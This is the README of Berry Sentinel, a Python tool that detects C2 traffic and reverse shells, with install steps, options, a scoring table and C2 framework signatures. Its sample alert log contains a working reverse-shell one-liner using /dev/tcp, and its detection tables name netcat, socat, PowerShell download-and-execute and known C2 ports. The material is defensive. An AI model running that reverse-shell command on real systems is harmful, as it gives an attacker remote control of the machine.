
Berry Sentinel v5.0 — Linux/Windows/Unix 시스템을 위한 고급 행위 기반 C2 및 리버스 셸 탐지기입니다. 실시간 연결 분석, 휴리스틱 점수화, C2 프레임워크 시그니처 탐지, 비콘 간격 분석, 프로세스 종료 엔진을 갖춘 대화형 curses 기반 TUI를 제공합니다.
실시간 C2(명령 및 제어) 연결 행동 탐지기
제로 시그니처 · 방탄 수집 · 심층 스캔 · 킬 엔진
Berry Sentinel은 시스템의 모든 활성 네트워크 연결을 모니터링하고, 이를 생성하는 프로세스의 행동을 분석하여 악성 활동을 탐지합니다. 바이러스 시그니처 데이터베이스나 차단된 IP 목록을 사용하지 않습니다.
리버스 셸, 웹셸, RAT, C2 비콘 및 Meterpreter, Cobalt Strike, Sliver, Empire와 같은 프레임워크를 프로세스의 행동 방식을 관찰하여 탐지합니다. Python 인터프리터의 stdin이 원격 소켓에 연결되어 있다면, IP가 알려지지 않았더라도 의심스럽습니다.
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo ║
║ Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTO ESTADO FIRMAS/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █CRÍTICO 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲ALTO 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutil 선택 사항# Clonar el repositorio
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (Opcional pero recomendado) instalar psutil
pip install psutil
# Ejecutar
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # curses puede no estar disponible en Termux
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [옵션]
옵션:
--all, -a 로컬/루프백 연결 포함 (원격 외에도)
--interval N, -i N N초마다 새로고침 (기본값: 2, 최소: 0.5)
--log FILE, -l FILE 경고를 파일에 저장 (JSONL 형식)
--json, -j 종료 시 전체 JSON 내보내기
--whitelist LISTA 무시할 IP 또는 CIDR 목록 (쉼표로 구분)
--no-color ANSI 색상 없음 (파이프 또는 로그에 유용)
--verbose, -v 의심스러운 연결뿐만 아니라 모든 연결 표시
--top N, -t N 테이블의 최대 행 수 (기본값: 50)
--diag, -d 진단: 작동하는 수집 방법 표시
--no-tui curses 없는 레거시 모드 (클래식 스크롤, 이식성 높음)
--version, -V 버전 표시 후 종료
# 대화형 TUI — 권장 모드
python3 BerrySentinel.py
# root 권한으로 심층 스캔 (프로세스 메모리 접근)
sudo python3 BerrySentinel.py --all
# 경고 저장 및 종료 시 JSON 내보내기
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# 내부 네트워크 무시 및 5초마다 새로고침
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# 스크립트 또는 대화형 터미널 없는 SSH에서 사용할 텍스트 모드
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# 현재 시스템에서 작동하는 수집 방법 확인
python3 BerrySentinel.py --diag --no-tui
# 심각한 경고만, 10초마다 업데이트, 로그 저장
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
각 연결은 탐지된 지표에 따라 0에서 100까지의 점수를 받습니다:
점수에 따른 심각도:
Berry Sentinel은 다음 프레임워크에 대한 시그니처를 포함합니다 (포트, 프로세스 이름, 명령줄 및 비콘 패턴 기준 평가):
각 경고는 독립적인 JSON 라인으로 기록됩니다:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
jq로 처리:
# 치명적인 연결만 필터링
jq 'select(.sev == "CRÍTICO")' sentinel.log
# 모든 의심스러운 PID 보기
jq '[.pid] | unique' sentinel_export.json
# 특정 시그니처 검색
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── 전역 상수
│ ├── SHELL_BINS, SCRIPT_ENGINES — 셸 및 인터프리터 이름
│ ├── C2_SUSPECT_PORTS — 일반적인 C2 포트
│ ├── PRIVATE_NETS — 사설 IP 범위
│ └── C2_SIGNATURES — 알려진 프레임워크 시그니처
│
├── 데이터 모델
│ ├── C2Signature — C2 시그니처 정의
│ ├── ProcInfo — OS 프로세스 정보
│ ├── Conn — 네트워크 연결 + 분석 결과
│ └── BeaconTracker — C2 비콘 탐지기
│
├── 데이터 수집
│ ├── Collector — 여러 네트워크 소스 오케스트레이션
│ ├── parse_proc_net_content() — /proc/net/* 파서
│ ├── build_inode_pid_map() — inode→PID 맵
│ ├── get_proc_info() — /proc를 통한 프로세스 정보
│ └── get_proc_info_psutil() — psutil을 통한 프로세스 정보
│
├── 분석
│ ├── Engine.analyze() — 행동 점수 + 태그
│ ├── Engine._beacon() — 비콘 탐지
│ └── match_signatures() — C2 시그니처 매칭
│
├── 출력
│ ├── CursesTUI — 대화형 TUI (기본 모드)
│ ├── LegacyTUI — curses 없는 ANSI 출력 (대체)
│ └── Logger — 디스크에 JSONL 로그
│
└── Sentinel — 메인 오케스트레이터
psutil — 선택 사항이지만 매우 권장 (pip install psutil)추가 종속성 없이 도구는 Python 표준 라이브러리로 작동합니다. psutil은 /proc이 존재하지 않는 macOS 및 Windows에서의 커버리지를 추가합니다.
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="승인되지 않은 회사 내부 RAT",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[경고] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"점수={conn.score:.0f} 태그={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# 사용자 정의 로직 추가
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinel은 자신의 시스템 또는 명시적 권한이 있는 시스템을 모니터링하기 위해 설계되었습니다. 킬 엔진은 사용자가 명시적으로 요청할 때만 작동합니다. 책임감 있게 사용하고 해당 관할권의 관련 법률을 준수하십시오.
MIT — LICENSE 참조
| 키 | 동작 |
|---|
↑ / ↓ | 연결 간 이동 |
d / D | 선택한 연결의 세부 정보 패널 보기 |
k / K | 프로세스 종료 (PID 확인 메시지 표시) |
f / F | 심각도 필터 순환: 전체 → 중간 → 높음 → 치명적 |
r | 즉시 새로고침 |
ESC | 세부 정보 패널 닫기 또는 작업 취소 |
q | 종료 |
| 지표 | 점수 | 태그 |
|---|
| stdin/stdout → 소켓 | +55 | FD→SOCK |
| 원격 연결이 있는 바이너리 셸 | +40 | SHELL→NET |
| 웹셸 (Apache/Nginx의 자식 셸) | +35 | WEBSHELL |
| 높은 포트의 바인드 셸 | +35 | BIND-SHELL |
| netcat/socat 사용 | +35 | NETCAT |
/dev/tcp 또는 mkfifo 리디렉션 | +40 | PIPE-REDIR |
| 디스크에서 삭제된 실행 파일 | +25 | EXE-DEL! |
/tmp 또는 /dev/shm의 실행 파일 | +15 | EXE-TMP |
| 비콘 탐지됨 (주기적 연결) | +25×확신 | BCN(60s) |
| Meterpreter 시그니처 | +55 | SIG:Meterpreter |
| Cobalt Strike 시그니처 | +60 | SIG:CobaltStrike |
| Sliver 시그니처 | +58 | SIG:Sliver |
| RWX 메모리 영역 | +20 | RWX(N) |
| LD_PRELOAD 또는 HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| 연결된 스크립트 인터프리터 | +25 | INTERP→NET |
| 명령줄의 eval/exec | +18 | EVAL |
| 원격 PowerShell (IEX, DownloadString) | +30 | PS-REM |
| 점수 | 심각도 | 색상 |
|---|
| ≥ 65 | 치명적 | 🔴 밝은 빨강 |
| ≥ 45 | 높음 | 🟠 주황 |
| ≥ 25 | 중간 | 🟡 노랑 |
| ≥ 8 | 낮음 | 🔵 청록 |
| < 8 | 정보 | ⚪ 회색 |
| 프레임워크 | 점수 보너스 | 주요 지표 |
|---|
| Meterpreter | +55 | 포트 4444, ruby/msfconsole 프로세스 |
| Cobalt Strike | +60 | 포트 50050, ~60초 비콘, java 프로세스 |
| Sliver | +58 | 포트 31337/8888, ~60초 비콘 |
| Empire | +55 | 포트 1234/7777, PowerShell -enc |
| Brute Ratel | +62 | 포트 2083, badger 프로세스 |
| Havoc | +58 | 포트 40056, demon.x64/x86 |
| Pupy RAT | +52 | 포트 9999, pupy.py |
| Merlin | +54 | 포트 8443, merlin-agent |
| Covenant | +54 | 포트 7443, GruntHTTP |
| PoshC2 | +52 | FComServer, ImplantCore |
| Mythic | +56 | 포트 7443, poseidon/apfell |
| QuasarRAT | +50 | 포트 4782-4785 |
| NetcatShell | +45 | socat exec bash, pty |
| DNS-C2 | +40 | 포트 53, dnscat/iodine |
| 시스템 | 지원 | 비고 |
|---|
| Linux | ✅ 완전 | root 권한으로 심층 스캔 활성화 |
| Android/Termux | ✅ 완전 | curses 실패 시 --no-tui 사용 |
| macOS | ⚠️ 부분 | /proc 없음; netstat+psutil 사용 |
| Windows | ⚠️ 부분 | netstat+psutil, 메모리 분석 없음 |